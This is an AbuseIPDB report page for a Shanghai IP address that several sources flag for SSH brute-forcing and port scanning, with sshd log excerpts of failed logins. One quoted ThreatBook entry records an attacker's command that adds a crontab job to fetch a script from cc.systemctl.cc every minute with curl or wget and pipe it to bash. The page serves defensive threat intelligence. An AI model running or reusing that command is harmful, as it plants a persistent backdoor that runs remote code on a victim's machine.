JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 180.165.22.143

180.165.22.143 was found in our database!

This IP was reported 25 times. Confidence of Abuse is 2%: ?

ISP	CHINANET SHANGHAI PROVINCE NETWORK
Usage Type	Fixed Line ISP
ASN	AS4812
Domain Name	chinatelecom.cn
Country	🇨🇳 China
City	Shanghai, Shanghai

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 180.165.22.143

Whois 180.165.22.143

IP Abuse Reports for 180.165.22.143:

This IP address has been reported a total of 25 times from 16 distinct sources. 180.165.22.143 was first reported on October 23rd 2025, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 arnisolutions	2026-08-19 02:46:25 (1 week ago)	SSH brute-force login attempts against a production server. Observed on 6 day(s) between 2026-08-14 ... show more SSH brute-force login attempts against a production server. Observed on 6 day(s) between 2026-08-14 and 2026-08-18 (UTC). show less	Brute-Force SSH
🇩🇪 arnisolutions	2026-08-18 01:46:20 (1 week ago)	SSH brute-force login attempts against a production server. Observed on 5 day(s) between 2026-08-14 ... show more SSH brute-force login attempts against a production server. Observed on 5 day(s) between 2026-08-14 and 2026-08-17 (UTC). show less	Brute-Force SSH
🇩🇪 arnisolutions	2026-08-17 00:46:21 (1 week ago)	SSH brute-force login attempts against a production server. Observed on 4 day(s) between 2026-08-14 ... show more SSH brute-force login attempts against a production server. Observed on 4 day(s) between 2026-08-14 and 2026-08-16 (UTC). show less	Brute-Force SSH
🇩🇪 arnisolutions	2026-08-15 23:46:12 (1 week ago)	SSH brute-force login attempts against a production server. Observed on 3 day(s) between 2026-08-14 ... show more SSH brute-force login attempts against a production server. Observed on 3 day(s) between 2026-08-14 and 2026-08-15 (UTC). show less	Brute-Force SSH
🇩🇪 arnisolutions	2026-08-14 22:46:28 (1 week ago)	SSH brute-force login attempts against a production server. Observed on 2 day(s) between 2026-08-14 ... show more SSH brute-force login attempts against a production server. Observed on 2 day(s) between 2026-08-14 and 2026-08-14 (UTC). show less	Brute-Force SSH
🇳🇱 Pornomens	2025-11-11 06:31:50 (9 months ago)	Nov 11 07:31:25 pornomens sshd[2380943]: pam_unix(sshd:auth): authentication failure; logname= uid=0 ... show more Nov 11 07:31:25 pornomens sshd[2380943]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.165.22.143 user=root Nov 11 07:31:27 pornomens sshd[2380943]: Failed password for root from 180.165.22.143 port 39440 ssh2 Nov 11 07:31:47 pornomens sshd[2380945]: Invalid user lijieying from 180.165.22.143 port 33456 Nov 11 07:31:48 pornomens sshd[2380945]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.165.22.143 Nov 11 07:31:50 pornomens sshd[2380945]: Failed password for invalid user lijieying from 180.165.22.143 port 33456 ssh2 ... show less	Brute-Force SSH
🇯🇵 bluecloudwork	2025-11-08 07:02:25 (9 months ago)	Fail2Ban - Brute-force SSH server ...	Brute-Force SSH
🇩🇪 ps-center	2025-11-07 07:34:02 (9 months ago)	DIS-W: Brutforce ssh Login	Brute-Force
🇩🇪 tiekoetter	2025-11-06 15:37:18 (9 months ago)	2025-11-06T17:33:09.021335+02:00 luna sshd-session[2524758]: Invalid user yangyanbin from 180.165.22 ... show more 2025-11-06T17:33:09.021335+02:00 luna sshd-session[2524758]: Invalid user yangyanbin from 180.165.22.143 port 50720 2025-11-06T17:33:25.519385+02:00 luna sshd-session[2524922]: Invalid user hccore from 180.165.22.143 port 38770 2025-11-06T17:33:43.927679+02:00 luna sshd-session[2525057]: Invalid user yxshen from 180.165.22.143 port 49098 2025-11-06T17:34:00.408702+02:00 luna sshd-session[2525173]: Invalid user sybase from 180.165.22.143 port 50186 2025-11-06T17:34:37.131093+02:00 luna sshd-session[2525459]: Invalid user gyx from 180.165.22.143 port 52384 2025-11-06T17:34:52.536615+02:00 luna sshd-session[2525607]: Invalid user chaochin from 180.165.22.143 port 57330 2025-11-06T17:35:09.307545+02:00 luna sshd-session[2525814]: Invalid user qunzhang from 180.165.22.143 port 43336 2025-11-06T17:35:25.901742+02:00 luna sshd-session[2525930]: Invalid user rainforest_wang from 180.165.22.143 port 42848 2025-11-06T17:35:41.135361+02:00 luna sshd-session[2526036]: Invalid user rd from 180.165. ... show less	Brute-Force SSH
Anonymous	2025-11-06 15:33:00 (9 months ago)	2025-11-06T16:32:56.173364+01:00 kamery sshd-session[1300927]: Invalid user zhangzy from 180.165.22. ... show more 2025-11-06T16:32:56.173364+01:00 kamery sshd-session[1300927]: Invalid user zhangzy from 180.165.22.143 port 56220 2025-11-06T16:32:56.485960+01:00 kamery sshd-session[1300927]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.165.22.143 2025-11-06T16:32:59.349700+01:00 kamery sshd-session[1300927]: Failed password for invalid user zhangzy from 180.165.22.143 port 56220 ssh2 ... show less	SSH
🇨🇳 ThreatBook.io	2025-11-05 22:57:05 (9 months ago)	ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/180.165.22.143 ... show more ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/180.165.22.143 2025-11-05 18:07:16 ["echo \"PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL http://cc.systemctl.cc/?gvc 2>/dev/null \|\| wget -qO- http://cc.systemctl.cc/?gvc 2>/dev/null) \| bash\") \| crontab - 2>/dev/null)\"","grep -c ^processor /proc/cpuinfo 2>/dev/null","uname -a 2>/dev/null","(crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo * * * * * (curl -fsSL http://cc.systemctl.cc/?gvc 2 > /dev/null \|\| wget -qO- http://cc.systemctl.cc/?gvc 2 > /dev/null"] show less	SSH
🇪🇸 saima	2025-11-03 23:00:05 (9 months ago)	Detected 875 times. SSH Brute-Force from address 180.165.22.143	Brute-Force SSH
🇨🇭 ScanThe.Net	2025-10-31 22:19:08 (9 months ago)	ID: 6276545621 \| PORT: 48433 \| https://180-165-22-143.scanthe.net	Port Scan
🇩🇪 Nightreaver	2025-10-31 04:46:05 (9 months ago)	Oct 31 05:45:24 [snip] sshd[8836]: Failed password for root from 180.165.22.143 port 33966 ssh2 Oct ... show more Oct 31 05:45:24 [snip] sshd[8836]: Failed password for root from 180.165.22.143 port 33966 ssh2 Oct 31 05:45:45 [snip] sshd[8988]: Failed password for invalid user gyx from 180.165.22.143 port 48618 ssh2[...] show less	Brute-Force SSH
🇨🇳 ThreatBook.io	2025-10-30 22:46:48 (9 months ago)	ThreatBook Intelligence: Scanner,Dynamic IP more details on https://threatbook.io/ip/180.165.22.143	SSH

Showing 1 to 15 of 25 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇭🇰 199.45.155.56

🇩🇪 165.154.164.21

🇬🇧 147.148.205.252

🇨🇳 2409:8c28:5460:902::49

🇰🇷 210.222.217.202

🇺🇸 195.184.76.188

🇻🇳 171.231.198.226

🇨🇳 118.182.166.128

🇨🇳 111.79.188.42

🇫🇷 109.199.106.34

🇸🇬 74.114.28.25

🇳🇱 45.148.10.60

🇦🇪 5.38.25.47

🇧🇷 2804:6a38:1a26:2800:d2a0:bbff:fe10:6c40

🇨🇳 223.199.189.150

🇺🇿 213.230.92.72

🇲🇽 200.68.173.178

🇺🇸 172.234.199.190

🇨🇲 154.70.102.114

🇹🇼 125.228.60.234